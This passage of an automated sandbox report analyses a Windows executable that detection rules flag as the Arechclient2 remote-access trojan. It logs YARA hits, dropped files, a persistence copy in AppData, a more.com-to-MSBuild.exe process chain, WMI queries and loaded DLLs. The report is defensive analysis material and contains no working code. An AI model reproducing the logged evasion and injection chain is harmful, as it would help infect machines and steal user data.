Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015CA908	14_2_015CA908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015CBD45	14_2_015CBD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015CBD78	14_2_015CBD78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C61070	25_2_00C61070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C6B01F	25_2_00C6B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C615E0	25_2_00C615E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C6B09E	25_2_00C6B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C61060	25_2_00C61060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C615C3	25_2_00C615C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C6A908	25_2_00C6A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C6BD45	25_2_00C6BD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 25_2_00C6BD78	25_2_00C6BD78

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: invalid certificate

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000000.1450711793.0000000000E6A000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: - v.. v.XX (XX)(DEBUG)FileVersionProductNameLegalCopyrightCompanyNameBuild DateLegalTrademarksFileDescriptionInternalNameOriginalFilenameComments%d %d %d %d%d.%d.%d.%d%d.%d%d\VarFileInfo\Translation\StringFileInfo\%04x%04x\%s vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1492795481.00000000051CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1473697216.0000000000E78000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: - v.. v.XX (XX)(DEBUG)FileVersionProductNameLegalCopyrightCompanyNameBuild DateLegalTrademarksFileDescriptionInternalNameOriginalFilenameComments%d %d %d %d%d.%d.%d.%d%d.%d%d\VarFileInfo\Translation\StringFileInfo\%04x%04x\%s vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000000.1450787050.000000000168D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTrayButton.exeP vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1476206981.0000000003C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <0B>0BF0B<0BY0B- v.. v.XX (XX)(DEBUG)FileVersionProductNameLegalCopyrightCompanyNameBuild DateLegalTrademarksFileDescriptionInternalNameOriginalFilenameComments%d %d %d %d%d.%d.%d.%d%d.%d%d\VarFileInfo\Translation\StringFileInfo\%04x%04x\%s vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1494906771.00000000056ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Binary or memory string: <0B>0BF0B<0BY0B- v.. v.XX (XX)(DEBUG)FileVersionProductNameLegalCopyrightCompanyNameBuild DateLegalTrademarksFileDescriptionInternalNameOriginalFilenameComments%d %d %d %d%d.%d.%d.%d%d.%d%d\VarFileInfo\Translation\StringFileInfo\%04x%04x\%s vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Binary or memory string: OriginalFilenameTrayButton.exeP vs 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 7.2.more.com.57300c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 22.2.more.com.51c00c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 11.2.more.com.5c100c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 11.2.more.com.5c100c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 2.2.more.com.5fd00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 13.2.MSBuild.exe.9c0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 7.2.more.com.57300c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 2.2.more.com.5fd00c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 22.2.more.com.51c00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\yuyhf, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\kwvvjj, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\xwv, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT

Source: 2.2.more.com.5fd00c8.7.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.more.com.57300c8.7.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/77@0/1

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4348:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\3be3d8d5cb13427ea81a3e9e0b03f0d2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2700:120:WilError_03

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

File created: C:\Users\user~1\AppData\Local\Temp\527e37c9

Jump to behavior

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\more.com

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

File read: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe "C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe"
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe "C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe"
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: idndl.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: mstask.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: idndl.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: idndl.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: mstask.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
